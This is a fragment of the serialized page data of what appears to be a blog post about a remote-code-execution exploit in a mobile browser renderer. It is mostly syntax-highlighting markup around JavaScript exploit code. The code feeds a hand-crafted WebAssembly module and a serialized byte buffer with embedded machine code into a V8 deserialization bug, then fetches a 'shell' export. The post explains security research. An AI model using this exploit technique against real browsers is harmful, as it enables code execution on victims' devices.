console.log(result);\n\n  let result_bytes = new Uint8Array(result);\n  console.log('[' + result_bytes.join(', ') + ']');\n})();\n",[138845],{"type":21,"tag":78,"props":138846,"children":138847},{"__ignoreMap":7},[138848,138871,138899,139118,139185,139192,139235,139278,139317,139324,139332,139392,139404,139411,139418,139449,139492,139519,139526,139562,139625],{"type":21,"tag":153,"props":138849,"children":138850},{"class":155,"line":156},[138851,138855,138859,138863,138867],{"type":21,"tag":153,"props":138852,"children":138853},{"style":160},[138854],{"type":26,"value":189},{"type":21,"tag":153,"props":138856,"children":138857},{"style":170},[138858],{"type":26,"value":38838},{"type":21,"tag":153,"props":138860,"children":138861},{"style":160},[138862],{"type":26,"value":42388},{"type":21,"tag":153,"props":138864,"children":138865},{"style":170},[138866],{"type":26,"value":17524},{"type":21,"tag":153,"props":138868,"children":138869},{"style":160},[138870],{"type":26,"value":236},{"type":21,"tag":153,"props":138872,"children":138873},{"class":155,"line":166},[138874,138879,138883,138887,138891,138895],{"type":21,"tag":153,"props":138875,"children":138876},{"style":170},[138877],{"type":26,"value":138878},"  var",{"type":21,"tag":153,"props":138880,"children":138881},{"style":192},[138882],{"type":26,"value":135751},{"type":21,"tag":153,"props":138884,"children":138885},{"style":198},[138886],{"type":26,"value":255},{"type":21,"tag":153,"props":138888,"children":138889},{"style":170},[138890],{"type":26,"value":34627},{"type":21,"tag":153,"props":138892,"children":138893},{"style":181},[138894],{"type":26,"value":135764},{"type":21,"tag":153,"props":138896,"children":138897},{"style":160},[138898],{"type":26,"value":135769},{"type":21,"tag":153,"props":138900,"children":138901},{"class":155,"line":225},[138902,138906,138910,138914,138918,138922,138926,138930,138934,138938,138942,138946,138950,138954,138958,138962,138966,138970,138974,138978,138982,138986,138990,138994,138998,139002,139006,139010,139014,139018,139022,139026,139030,139034,139038,139042,139046,139050,139054,139058,139062,139066,139070,139074,139078,139082,139086,139090,139094,139098,139102,139106,139110,139114],{"type":21,"tag":153,"props":138903,"children":138904},{"style":300},[138905],{"type":26,"value":136494},{"type":21,"tag":153,"props":138907,"children":138908},{"style":160},[138909],{"type":26,"value":1670},{"type":21,"tag":153,"props":138911,"children":138912},{"style":300},[138913],{"type":26,"value":135786},{"type":21,"tag":153,"props":138915,"children":138916},{"style":160},[138917],{"type":26,"value":1670},{"type":21,"tag":153,"props":138919,"children":138920},{"style":300},[138921],{"type":26,"value":135795},{"type":21,"tag":153,"props":138923,"children":138924},{"style":160},[138925],{"type":26,"value":1670},{"type":21,"tag":153,"props":138927,"children":138928},{"style":300},[138929],{"type":26,"value":135804},{"type":21,"tag":153,"props":138931,"children":138932},{"style":160},[138933],{"type":26,"value":1670},{"type":21,"tag":153,"props":138935,"children":138936},{"style":300},[138937],{"type":26,"value":3033},{"type":21,"tag":153,"props":138939,"children":138940},{"style":160},[138941],{"type":26,"value":1670},{"type":21,"tag":153,"props":138943,"children":138944},{"style":300},[138945],{"type":26,"value":2996},{"type":21,"tag":153,"props":138947,"children":138948},{"style":160},[138949],{"type":26,"value":1670},{"type":21,"tag":153,"props":138951,"children":138952},{"style":300},[138953],{"type":26,"value":2996},{"type":21,"tag":153,"props":138955,"children":138956},{"style":160},[138957],{"type":26,"value":1670},{"type":21,"tag":153,"props":138959,"children":138960},{"style":300},[138961],{"type":26,"value":2996},{"type":21,"tag":153,"props":138963,"children":138964},{"style":160},[138965],{"type":26,"value":1670},{"type":21,"tag":153,"props":138967,"children":138968},{"style":300},[138969],{"type":26,"value":3033},{"type":21,"tag":153,"props":138971,"children":138972},{"style":160},[138973],{"type":26,"value":1670},{"type":21,"tag":153,"props":138975,"children":138976},{"style":300},[138977],{"type":26,"value":4104},{"type":21,"tag":153,"props":138979,"children":138980},{"style":160},[138981],{"type":26,"value":1670},{"type":21,"tag":153,"props":138983,"children":138984},{"style":300},[138985],{"type":26,"value":3033},{"type":21,"tag":153,"props":138987,"children":138988},{"style":160},[138989],{"type":26,"value":1670},{"type":21,"tag":153,"props":138991,"children":138992},{"style":300},[138993],{"type":26,"value":135869},{"type":21,"tag":153,"props":138995,"children":138996},{"style":160},[138997],{"type":26,"value":1670},{"type":21,"tag":153,"props":138999,"children":139000},{"style":300},[139001],{"type":26,"value":2996},{"type":21,"tag":153,"props":139003,"children":139004},{"style":160},[139005],{"type":26,"value":1670},{"type":21,"tag":153,"props":139007,"children":139008},{"style":300},[139009],{"type":26,"value":2996},{"type":21,"tag":153,"props":139011,"children":139012},{"style":160},[139013],{"type":26,"value":1670},{"type":21,"tag":153,"props":139015,"children":139016},{"style":300},[139017],{"type":26,"value":4303},{"type":21,"tag":153,"props":139019,"children":139020},{"style":160},[139021],{"type":26,"value":1670},{"type":21,"tag":153,"props":139023,"children":139024},{"style":300},[139025],{"type":26,"value":5873},{"type":21,"tag":153,"props":139027,"children":139028},{"style":160},[139029],{"type":26,"value":1670},{"type":21,"tag":153,"props":139031,"children":139032},{"style":300},[139033],{"type":26,"value":3033},{"type":21,"tag":153,"props":139035,"children":139036},{"style":160},[139037],{"type":26,"value":1670},{"type":21,"tag":153,"props":139039,"children":139040},{"style":300},[139041],{"type":26,"value":2996},{"type":21,"tag":153,"props":139043,"children":139044},{"style":160},[139045],{"type":26,"value":1670},{"type":21,"tag":153,"props":139047,"children":139048},{"style":300},[139049],{"type":26,"value":56962},{"type":21,"tag":153,"props":139051,"children":139052},{"style":160},[139053],{"type":26,"value":1670},{"type":21,"tag":153,"props":139055,"children":139056},{"style":300},[139057],{"type":26,"value":58177},{"type":21,"tag":153,"props":139059,"children":139060},{"style":160},[139061],{"type":26,"value":1670},{"type":21,"tag":153,"props":139063,"children":139064},{"style":300},[139065],{"type":26,"value":3033},{"type":21,"tag":153,"props":139067,"children":139068},{"style":160},[139069],{"type":26,"value":1670},{"type":21,"tag":153,"props":139071,"children":139072},{"style":300},[139073],{"type":26,"value":20805},{"type":21,"tag":153,"props":139075,"children":139076},{"style":160},[139077],{"type":26,"value":1670},{"type":21,"tag":153,"props":139079,"children":139080},{"style":300},[139081],{"type":26,"value":135795},{"type":21,"tag":153,"props":139083,"children":139084},{"style":160},[139085],{"type":26,"value":1670},{"type":21,"tag":153,"props":139087,"children":139088},{"style":300},[139089],{"type":26,"value":135966},{"type":21,"tag":153,"props":139091,"children":139092},{"style":160},[139093],{"type":26,"value":1670},{"type":21,"tag":153,"props":139095,"children":139096},{"style":300},[139097],{"type":26,"value":135975},{"type":21,"tag":153,"props":139099,"children":139100},{"style":160},[139101],{"type":26,"value":1670},{"type":21,"tag":153,"props":139103,"children":139104},{"style":300},[139105],{"type":26,"value":135984},{"type":21,"tag":153,"props":139107,"children":139108},{"style":160},[139109],{"type":26,"value":1670},{"type":21,"tag":153,"props":139111,"children":139112},{"style":300},[139113],{"type":26,"value":135984},{"type":21,"tag":153,"props":139115,"children":139116},{"style":160},[139117],{"type":26,"value":792},{"type":21,"tag":153,"props":139119,"children":139120},{"class":155,"line":239},[139121,139125,139129,139133,139137,139141,139145,139149,139153,139157,139161,139165,139169,139173,139177,139181],{"type":21,"tag":153,"props":139122,"children":139123},{"style":300},[139124],{"type":26,"value":136494},{"type":21,"tag":153,"props":139126,"children":139127},{"style":160},[139128],{"type":26,"value":1670},{"type":21,"tag":153,"props":139130,"children":139131},{"style":300},[139132],{"type":26,"value":2996},{"type":21,"tag":153,"props":139134,"children":139135},{"style":160},[139136],{"type":26,"value":1670},{"type":21,"tag":153,"props":139138,"children":139139},{"style":300},[139140],{"type":26,"value":91550},{"type":21,"tag":153,"props":139142,"children":139143},{"style":160},[139144],{"type":26,"value":1670},{"type":21,"tag":153,"props":139146,"children":139147},{"style":300},[139148],{"type":26,"value":4104},{"type":21,"tag":153,"props":139150,"children":139151},{"style":160},[139152],{"type":26,"value":1670},{"type":21,"tag":153,"props":139154,"children":139155},{"style":300},[139156],{"type":26,"value":3033},{"type":21,"tag":153,"props":139158,"children":139159},{"style":160},[139160],{"type":26,"value":1670},{"type":21,"tag":153,"props":139162,"children":139163},{"style":300},[139164],{"type":26,"value":5873},{"type":21,"tag":153,"props":139166,"children":139167},{"style":160},[139168],{"type":26,"value":1670},{"type":21,"tag":153,"props":139170,"children":139171},{"style":300},[139172],{"type":26,"value":2996},{"type":21,"tag":153,"props":139174,"children":139175},{"style":160},[139176],{"type":26,"value":1670},{"type":21,"tag":153,"props":139178,"children":139179},{"style":300},[139180],{"type":26,"value":136060},{"type":21,"tag":153,"props":139182,"children":139183},{"style":160},[139184],{"type":26,"value":792},{"type":21,"tag":153,"props":139186,"children":139187},{"class":155,"line":382},[139188],{"type":21,"tag":153,"props":139189,"children":139190},{"style":160},[139191],{"type":26,"value":136781},{"type":21,"tag":153,"props":139193,"children":139194},{"class":155,"line":501},[139195,139199,139203,139207,139211,139215,139219,139223,139227,139231],{"type":21,"tag":153,"props":139196,"children":139197},{"style":170},[139198],{"type":26,"value":138878},{"type":21,"tag":153,"props":139200,"children":139201},{"style":192},[139202],{"type":26,"value":73919},{"type":21,"tag":153,"props":139204,"children":139205},{"style":198},[139206],{"type":26,"value":255},{"type":21,"tag":153,"props":139208,"children":139209},{"style":170},[139210],{"type":26,"value":34627},{"type":21,"tag":153,"props":139212,"children":139213},{"style":192},[139214],{"type":26,"value":136095},{"type":21,"tag":153,"props":139216,"children":139217},{"style":160},[139218],{"type":26,"value":355},{"type":21,"tag":153,"props":139220,"children":139221},{"style":181},[139222],{"type":26,"value":88216},{"type":21,"tag":153,"props":139224,"children":139225},{"style":160},[139226],{"type":26,"value":189},{"type":21,"tag":153,"props":139228,"children":139229},{"style":192},[139230],{"type":26,"value":136112},{"type":21,"tag":153,"props":139232,"children":139233},{"style":160},[139234],{"type":26,"value":530},{"type":21,"tag":153,"props":139236,"children":139237},{"class":155,"line":533},[139238,139242,139246,139250,139254,139258,139262,139266,139270,139274],{"type":21,"tag":153,"props":139239,"children":139240},{"style":170},[139241],{"type":26,"value":138878},{"type":21,"tag":153,"props":139243,"children":139244},{"style":192},[139245],{"type":26,"value":136128},{"type":21,"tag":153,"props":139247,"children":139248},{"style":198},[139249],{"type":26,"value":255},{"type":21,"tag":153,"props":139251,"children":139252},{"style":170},[139253],{"type":26,"value":34627},{"type":21,"tag":153,"props":139255,"children":139256},{"style":192},[139257],{"type":26,"value":136095},{"type":21,"tag":153,"props":139259,"children":139260},{"style":160},[139261],{"type":26,"value":355},{"type":21,"tag":153,"props":139263,"children":139264},{"style":181},[139265],{"type":26,"value":136149},{"type":21,"tag":153,"props":139267,"children":139268},{"style":160},[139269],{"type":26,"value":189},{"type":21,"tag":153,"props":139271,"children":139272},{"style":192},[139273],{"type":26,"value":136158},{"type":21,"tag":153,"props":139275,"children":139276},{"style":160},[139277],{"type":26,"value":530},{"type":21,"tag":153,"props":139279,"children":139280},{"class":155,"line":542},[139281,139285,139289,139293,139297,139301,139305,139309,139313],{"type":21,"tag":153,"props":139282,"children":139283},{"style":170},[139284],{"type":26,"value":138878},{"type":21,"tag":153,"props":139286,"children":139287},{"style":192},[139288],{"type":26,"value":82306},{"type":21,"tag":153,"props":139290,"children":139291},{"style":198},[139292],{"type":26,"value":255},{"type":21,"tag":153,"props":139294,"children":139295},{"style":192},[139296],{"type":26,"value":136128},{"type":21,"tag":153,"props":139298,"children":139299},{"style":160},[139300],{"type":26,"value":355},{"type":21,"tag":153,"props":139302,"children":139303},{"style":192},[139304],{"type":26,"value":40579},{"type":21,"tag":153,"props":139306,"children":139307},{"style":160},[139308],{"type":26,"value":355},{"type":21,"tag":153,"props":139310,"children":139311},{"style":192},[139312],{"type":26,"value":136198},{"type":21,"tag":153,"props":139314,"children":139315},{"style":160},[139316],{"type":26,"value":1759},{"type":21,"tag":153,"props":139318,"children":139319},{"class":155,"line":762},[139320],{"type":21,"tag":153,"props":139321,"children":139322},{"emptyLinePlaceholder":16},[139323],{"type":26,"value":759},{"type":21,"tag":153,"props":139325,"children":139326},{"class":155,"line":776},[139327],{"type":21,"tag":153,"props":139328,"children":139329},{"style":3050},[139330],{"type":26,"value":139331},"  // %WasmTierUpFunction(func);\n",{"type":21,"tag":153,"props":139333,"children":139334},{"class":155,"line":795},[139335,139340,139344,139348,139352,139356,139360,139364,139368,139372,139376,139380,139384,139388],{"type":21,"tag":153,"props":139336,"children":139337},{"style":1751},[139338],{"type":26,"value":139339},"  for",{"type":21,"tag":153,"props":139341,"children":139342},{"style":160},[139343],{"type":26,"value":5820},{"type":21,"tag":153,"props":139345,"children":139346},{"style":170},[139347],{"type":26,"value":1555},{"type":21,"tag":153,"props":139349,"children":139350},{"style":192},[139351],{"type":26,"value":6143},{"type":21,"tag":153,"props":139353,"children":139354},{"style":198},[139355],{"type":26,"value":255},{"type":21,"tag":153,"props":139357,"children":139358},{"style":300},[139359],{"type":26,"value":5799},{"type":21,"tag":153,"props":139361,"children":139362},{"style":160},[139363],{"type":26,"value":297},{"type":21,"tag":153,"props":139365,"children":139366},{"style":192},[139367],{"type":26,"value":6471},{"type":21,"tag":153,"props":139369,"children":139370},{"style":198},[139371],{"type":26,"value":4094},{"type":21,"tag":153,"props":139373,"children":139374},{"style":300},[139375],{"type":26,"value":138800},{"type":21,"tag":153,"props":139377,"children":139378},{"style":160},[139379],{"type":26,"value":297},{"type":21,"tag":153,"props":139381,"children":139382},{"style":192},[139383],{"type":26,"value":6471},{"type":21,"tag":153,"props":139385,"children":139386},{"style":198},[139387],{"type":26,"value":53560},{"type":21,"tag":153,"props":139389,"children":139390},{"style":160},[139391],{"type":26,"value":2659},{"type":21,"tag":153,"props":139393,"children":139394},{"class":155,"line":808},[139395,139400],{"type":21,"tag":153,"props":139396,"children":139397},{"style":181},[139398],{"type":26,"value":139399},"    func",{"type":21,"tag":153,"props":139401,"children":139402},{"style":160},[139403],{"type":26,"value":839},{"type":21,"tag":153,"props":139405,"children":139406},{"class":155,"line":820},[139407],{"type":21,"tag":153,"props":139408,"children":139409},{"style":160},[139410],{"type":26,"value":8601},{"type":21,"tag":153,"props":139412,"children":139413},{"class":155,"line":842},[139414],{"type":21,"tag":153,"props":139415,"children":139416},{"emptyLinePlaceholder":16},[139417],{"type":26,"value":759},{"type":21,"tag":153,"props":139419,"children":139420},{"class":155,"line":3204},[139421,139425,139429,139433,139437,139441,139445],{"type":21,"tag":153,"props":139422,"children":139423},{"style":170},[139424],{"type":26,"value":10582},{"type":21,"tag":153,"props":139426,"children":139427},{"style":192},[139428],{"type":26,"value":138234},{"type":21,"tag":153,"props":139430,"children":139431},{"style":198},[139432],{"type":26,"value":255},{"type":21,"tag":153,"props":139434,"children":139435},{"style":181},[139436],{"type":26,"value":138243},{"type":21,"tag":153,"props":139438,"children":139439},{"style":160},[139440],{"type":26,"value":189},{"type":21,"tag":153,"props":139442,"children":139443},{"style":192},[139444],{"type":26,"value":136158},{"type":21,"tag":153,"props":139446,"children":139447},{"style":160},[139448],{"type":26,"value":530},{"type":21,"tag":153,"props":139450,"children":139451},{"class":155,"line":3230},[139452,139456,139460,139464,139468,139472,139476,139480,139484,139488],{"type":21,"tag":153,"props":139453,"children":139454},{"style":192},[139455],{"type":26,"value":138279},{"type":21,"tag":153,"props":139457,"children":139458},{"style":198},[139459],{"type":26,"value":255},{"type":21,"tag":153,"props":139461,"children":139462},{"style":160},[139463],{"type":26,"value":5820},{"type":21,"tag":153,"props":139465,"children":139466},{"style":1751},[139467],{"type":26,"value":1754},{"type":21,"tag":153,"props":139469,"children":139470},{"style":192},[139471],{"type":26,"value":138234},{"type":21,"tag":153,"props":139473,"children":139474},{"style":160},[139475],{"type":26,"value":355},{"type":21,"tag":153,"props":139477,"children":139478},{"style":181},[139479],{"type":26,"value":59857},{"type":21,"tag":153,"props":139481,"children":139482},{"style":160},[139483],{"type":26,"value":138308},{"type":21,"tag":153,"props":139485,"children":139486},{"style":192},[139487],{"type":26,"value":41843},{"type":21,"tag":153,"props":139489,"children":139490},{"style":160},[139491],{"type":26,"value":1759},{"type":21,"tag":153,"props":139493,"children":139494},{"class":155,"line":3239},[139495,139499,139503,139507,139511,139515],{"type":21,"tag":153,"props":139496,"children":139497},{"style":192},[139498],{"type":26,"value":104241},{"type":21,"tag":153,"props":139500,"children":139501},{"style":160},[139502],{"type":26,"value":355},{"type":21,"tag":153,"props":139504,"children":139505},{"style":181},[139506],{"type":26,"value":104250},{"type":21,"tag":153,"props":139508,"children":139509},{"style":160},[139510],{"type":26,"value":189},{"type":21,"tag":153,"props":139512,"children":139513},{"style":192},[139514],{"type":26,"value":11806},{"type":21,"tag":153,"props":139516,"children":139517},{"style":160},[139518],{"type":26,"value":530},{"type":21,"tag":153,"props":139520,"children":139521},{"class":155,"line":3253},[139522],{"type":21,"tag":153,"props":139523,"children":139524},{"emptyLinePlaceholder":16},[139525],{"type":26,"value":759},{"type":21,"tag":153,"props":139527,"children":139528},{"class":155,"line":3301},[139529,139533,139538,139542,139546,139550,139554,139558],{"type":21,"tag":153,"props":139530,"children":139531},{"style":170},[139532],{"type":26,"value":10582},{"type":21,"tag":153,"props":139534,"children":139535},{"style":192},[139536],{"type":26,"value":139537}," result_bytes",{"type":21,"tag":153,"props":139539,"children":139540},{"style":198},[139541],{"type":26,"value":255},{"type":21,"tag":153,"props":139543,"children":139544},{"style":170},[139545],{"type":26,"value":34627},{"type":21,"tag":153,"props":139547,"children":139548},{"style":181},[139549],{"type":26,"value":135764},{"type":21,"tag":153,"props":139551,"children":139552},{"style":160},[139553],{"type":26,"value":189},{"type":21,"tag":153,"props":139555,"children":139556},{"style":192},[139557],{"type":26,"value":11806},{"type":21,"tag":153,"props":139559,"children":139560},{"style":160},[139561],{"type":26,"value":530},{"type":21,"tag":153,"props":139563,"children":139564},{"class":155,"line":3346},[139565,139569,139573,139577,139581,139585,139589,139593,139597,139601,139605,139609,139613,139617,139621],{"type":21,"tag":153,"props":139566,"children":139567},{"style":192},[139568],{"type":26,"value":104241},{"type":21,"tag":153,"props":139570,"children":139571},{"style":160},[139572],{"type":26,"value":355},{"type":21,"tag":153,"props":139574,"children":139575},{"style":181},[139576],{"type":26,"value":104250},{"type":21,"tag":153,"props":139578,"children":139579},{"style":160},[139580],{"type":26,"value":189},{"type":21,"tag":153,"props":139582,"children":139583},{"style":671},[139584],{"type":26,"value":136331},{"type":21,"tag":153,"props":139586,"children":139587},{"style":198},[139588],{"type":26,"value":5527},{"type":21,"tag":153,"props":139590,"children":139591},{"style":192},[139592],{"type":26,"value":139537},{"type":21,"tag":153,"props":139594,"children":139595},{"style":160},[139596],{"type":26,"value":355},{"type":21,"tag":153,"props":139598,"children":139599},{"style":181},[139600],{"type":26,"value":136348},{"type":21,"tag":153,"props":139602,"children":139603},{"style":160},[139604],{"type":26,"value":189},{"type":21,"tag":153,"props":139606,"children":139607},{"style":671},[139608],{"type":26,"value":136357},{"type":21,"tag":153,"props":139610,"children":139611},{"style":160},[139612],{"type":26,"value":2362},{"type":21,"tag":153,"props":139614,"children":139615},{"style":198},[139616],{"type":26,"value":4099},{"type":21,"tag":153,"props":139618,"children":139619},{"style":671},[139620],{"type":26,"value":136370},{"type":21,"tag":153,"props":139622,"children":139623},{"style":160},[139624],{"type":26,"value":530},{"type":21,"tag":153,"props":139626,"children":139627},{"class":155,"line":3355},[139628],{"type":21,"tag":153,"props":139629,"children":139630},{"style":160},[139631],{"type":26,"value":104282},{"type":21,"tag":22,"props":139633,"children":139634},{},[139635],{"type":26,"value":139636},"We get the serialized bytes:",{"type":21,"tag":22,"props":139638,"children":139639},{},[139640],{"type":21,"tag":3644,"props":139641,"children":139644},{"alt":139642,"src":139643},"image2","/posts/mobile-renderer-rce/image2.png",[],{"type":21,"tag":22,"props":139646,"children":139647},{},[139648,139650,139655],{"type":26,"value":139649},"We can now embed this output into the original bytecode that calls ",{"type":21,"tag":78,"props":139651,"children":139653},{"className":139652},[],[139654],{"type":26,"value":135227},{"type":26,"value":201},{"type":21,"tag":143,"props":139657,"children":139659},{"code":139658,"language":38309,"meta":7,"className":38307,"style":7},"(async () => {\n  const wasm_code = new Uint8Array([\n    0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 2, 1, 0, 7, 9, 1, 5, 115, 104, 101, 108, 108,\n    0, 0, 10, 4, 1, 2, 0, 11,\n  ]);\n  const buffer = new Uint8Array([\n    146, 6, 222, 192, 174, 122, 171, 151, 31, 0, 0, 0, 39, 61, 60, 31, 0, 16, 3, 0, 0, 0, 0, 0, 64,\n    0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 4, 56, 0, 0, 0, 44, 0, 0, 0, 56, 0, 0, 0, 56, 0,\n    0, 0, 56, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 95, 36, 3, 213, 16, 1, 128, 210, 127, 35, 3,\n    213, 231, 67, 190, 169, 253, 123, 1, 169, 253, 67, 0, 145, 191, 3, 0, 145, 253, 123, 193, 168,\n    255, 35, 3, 213, 192, 3, 95, 214, 31, 32, 3, 213, 4, 0, 0, 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 92, 50, 162, 0,\n  ]);\n  let r = bug(wasm_code, buffer.buffer);\n  result = (await r.next()).value;\n  console.log('DeserializeWasmModule result: ' + result);\n  const wasm_instance = new WebAssembly.Instance(result);\n  const f = wasm_instance.exports.shell;\n  console.log(f);\n})();\n",[139660],{"type":21,"tag":78,"props":139661,"children":139662},{"__ignoreMap":7},[139663,139686,139713,139932,139999,140006,140033,140244,140495,140746,140970,141152,141373,141451,141458,141505,141548,141584,141627,141666,141693],{"type":21,"tag":153,"props":139664,"children":139665},{"class":155,"line":156},[139666,139670,139674,139678,139682],{"type":21,"tag":153,"props":139667,"children":139668},{"style":160},[139669],{"type":26,"value":189},{"type":21,"tag":153,"props":139671,"children":139672},{"style":170},[139673],{"type":26,"value":38838},{"type":21,"tag":153,"props":139675,"children":139676},{"style":160},[139677],{"type":26,"value":42388},{"type":21,"tag":153,"props":139679,"children":139680},{"style":170},[139681],{"type":26,"value":17524},{"type":21,"tag":153,"props":139683,"children":139684},{"style":160},[139685],{"type":26,"value":236},{"type":21,"tag":153,"props":139687,"children":139688},{"class":155,"line":166},[139689,139693,139697,139701,139705,139709],{"type":21,"tag":153,"props":139690,"children":139691},{"style":170},[139692],{"type":26,"value":38881},{"type":21,"tag":153,"props":139694,"children":139695},{"style":192},[139696],{"type":26,"value":135751},{"type":21,"tag":153,"props":139698,"children":139699},{"style":198},[139700],{"type":26,"value":255},{"type":21,"tag":153,"props":139702,"children":139703},{"style":170},[139704],{"type":26,"value":34627},{"type":21,"tag":153,"props":139706,"children":139707},{"style":181},[139708],{"type":26,"value":135764},{"type":21,"tag":153,"props":139710,"children":139711},{"style":160},[139712],{"type":26,"value":135769},{"type":21,"tag":153,"props":139714,"children":139715},{"class":155,"line":225},[139716,139720,139724,139728,139732,139736,139740,139744,139748,139752,139756,139760,139764,139768,139772,139776,139780,139784,139788,139792,139796,139800,139804,139808,139812,139816,139820,139824,139828,139832,139836,139840,139844,139848,139852,139856,139860,139864,139868,139872,139876,139880,139884,139888,139892,139896,139900,139904,139908,139912,139916,139920,139924,139928],{"type":21,"tag":153,"props":139717,"children":139718},{"style":300},[139719],{"type":26,"value":136494},{"type":21,"tag":153,"props":139721,"children":139722},{"style":160},[139723],{"type":26,"value":1670},{"type":21,"tag":153,"props":139725,"children":139726},{"style":300},[139727],{"type":26,"value":135786},{"type":21,"tag":153,"props":139729,"children":139730},{"style":160},[139731],{"type":26,"value":1670},{"type":21,"tag":153,"props":139733,"children":139734},{"style":300},[139735],{"type":26,"value":135795},{"type":21,"tag":153,"props":139737,"children":139738},{"style":160},[139739],{"type":26,"value":1670},{"type":21,"tag":153,"props":139741,"children":139742},{"style":300},[139743],{"type":26,"value":135804},{"type":21,"tag":153,"props":139745,"children":139746},{"style":160},[139747],{"type":26,"value":1670},{"type":21,"tag":153,"props":139749,"children":139750},{"style":300},[139751],{"type":26,"value":3033},{"type":21,"tag":153,"props":139753,"children":139754},{"style":160},[139755],{"type":26,"value":1670},{"type":21,"tag":153,"props":139757,"children":139758},{"style":300},[139759],{"type":26,"value":2996},{"type":21,"tag":153,"props":139761,"children":139762},{"style":160},[139763],{"type":26,"value":1670},{"type":21,"tag":153,"props":139765,"children":139766},{"style":300},[139767],{"type":26,"value":2996},{"type":21,"tag":153,"props":139769,"children":139770},{"style":160},[139771],{"type":26,"value":1670},{"type":21,"tag":153,"props":139773,"children":139774},{"style":300},[139775],{"type":26,"value":2996},{"type":21,"tag":153,"props":139777,"children":139778},{"style":160},[139779],{"type":26,"value":1670},{"type":21,"tag":153,"props":139781,"children":139782},{"style":300},[139783],{"type":26,"value":3033},{"type":21,"tag":153,"props":139785,"children":139786},{"style":160},[139787],{"type":26,"value":1670},{"type":21,"tag":153,"props":139789,"children":139790},{"style":300},[139791],{"type":26,"value":4104},{"type":21,"tag":153,"props":139793,"children":139794},{"style":160},[139795],{"type":26,"value":1670},{"type":21,"tag":153,"props":139797,"children":139798},{"style":300},[139799],{"type":26,"value":3033},{"type":21,"tag":153,"props":139801,"children":139802},{"style":160},[139803],{"type":26,"value":1670},{"type":21,"tag":153,"props":139805,"children":139806},{"style":300},[139807],{"type":26,"value":135869},{"type":21,"tag":153,"props":139809,"children":139810},{"style":160},[139811],{"type":26,"value":1670},{"type":21,"tag":153,"props":139813,"children":139814},{"style":300},[139815],{"type":26,"value":2996},{"type":21,"tag":153,"props":139817,"children":139818},{"style":160},[139819],{"type":26,"value":1670},{"type":21,"tag":153,"props":139821,"children":139822},{"style":300},[139823],{"type":26,"value":2996},{"type":21,"tag":153,"props":139825,"children":139826},{"style":160},[139827],{"type":26,"value":1670},{"type":21,"tag":153,"props":139829,"children":139830},{"style":300},[139831],{"type":26,"value":4303},{"type":21,"tag":153,"props":139833,"children":139834},{"style":160},[139835],{"type":26,"value":1670},{"type":21,"tag":153,"props":139837,"children":139838},{"style":300},[139839],{"type":26,"value":5873},{"type":21,"tag":153,"props":139841,"children":139842},{"style":160},[139843],{"type":26,"value":1670},{"type":21,"tag":153,"props":139845,"children":139846},{"style":300},[139847],{"type":26,"value":3033},{"type":21,"tag":153,"props":139849,"children":139850},{"style":160},[139851],{"type":26,"value":1670},{"type":21,"tag":153,"props":139853,"children":139854},{"style":300},[139855],{"type":26,"value":2996},{"type":21,"tag":153,"props":139857,"children":139858},{"style":160},[139859],{"type":26,"value":1670},{"type":21,"tag":153,"props":139861,"children":139862},{"style":300},[139863],{"type":26,"value":56962},{"type":21,"tag":153,"props":139865,"children":139866},{"style":160},[139867],{"type":26,"value":1670},{"type":21,"tag":153,"props":139869,"children":139870},{"style":300},[139871],{"type":26,"value":58177},{"type":21,"tag":153,"props":139873,"children":139874},{"style":160},[139875],{"type":26,"value":1670},{"type":21,"tag":153,"props":139877,"children":139878},{"style":300},[139879],{"type":26,"value":3033},{"type":21,"tag":153,"props":139881,"children":139882},{"style":160},[139883],{"type":26,"value":1670},{"type":21,"tag":153,"props":139885,"children":139886},{"style":300},[139887],{"type":26,"value":20805},{"type":21,"tag":153,"props":139889,"children":139890},{"style":160},[139891],{"type":26,"value":1670},{"type":21,"tag":153,"props":139893,"children":139894},{"style":300},[139895],{"type":26,"value":135795},{"type":21,"tag":153,"props":139897,"children":139898},{"style":160},[139899],{"type":26,"value":1670},{"type":21,"tag":153,"props":139901,"children":139902},{"style":300},[139903],{"type":26,"value":135966},{"type":21,"tag":153,"props":139905,"children":139906},{"style":160},[139907],{"type":26,"value":1670},{"type":21,"tag":153,"props":139909,"children":139910},{"style":300},[139911],{"type":26,"value":135975},{"type":21,"tag":153,"props":139913,"children":139914},{"style":160},[139915],{"type":26,"value":1670},{"type":21,"tag":153,"props":139917,"children":139918},{"style":300},[139919],{"type":26,"value":135984},{"type":21,"tag":153,"props":139921,"children":139922},{"style":160},[139923],{"type":26,"value":1670},{"type":21,"tag":153,"props":139925,"children":139926},{"style":300},[139927],{"type":26,"value":135984},{"type":21,"tag":153,"props":139929,"children":139930},{"style":160},[139931],{"type":26,"value":792},{"type":21,"tag":153,"props":139933,"children":139934},{"class":155,"line":239},[139935,139939,139943,139947,139951,139955,139959,139963,139967,139971,139975,139979,139983,139987,139991,139995],{"type":21,"tag":153,"props":139936,"children":139937},{"style":300},[139938],{"type":26,"value":136494},{"type":21,"tag":153,"props":139940,"children":139941},{"style":160},[139942],{"type":26,"value":1670},{"type":21,"tag":153,"props":139944,"children":139945},{"style":300},[139946],{"type":26,"value":2996},{"type":21,"tag":153,"props":139948,"children":139949},{"style":160},[139950],{"type":26,"value":1670},{"type":21,"tag":153,"props":139952,"children":139953},{"style":300},[139954],{"type":26,"value":91550},{"type":21,"tag":153,"props":139956,"children":139957},{"style":160},[139958],{"type":26,"value":1670},{"type":21,"tag":153,"props":139960,"children":139961},{"style":300},[139962],{"type":26,"value":4104},{"type":21,"tag":153,"props":139964,"children":139965},{"style":160},[139966],{"type":26,"value":1670},{"type":21,"tag":153,"props":139968,"children":139969},{"style":300},[139970],{"type":26,"value":3033},{"type":21,"tag":153,"props":139972,"children":139973},{"style":160},[139974],{"type":26,"value":1670},{"type":21,"tag":153,"props":139976,"children":139977},{"style":300},[139978],{"type":26,"value":5873},{"type":21,"tag":153,"props":139980,"children":139981},{"style":160},[139982],{"type":26,"value":1670},{"type":21,"tag":153,"props":139984,"children":139985},{"style":300},[139986],{"type":26,"value":2996},{"type":21,"tag":153,"props":139988,"children":139989},{"style":160},[139990],{"type":26,"value":1670},{"type":21,"t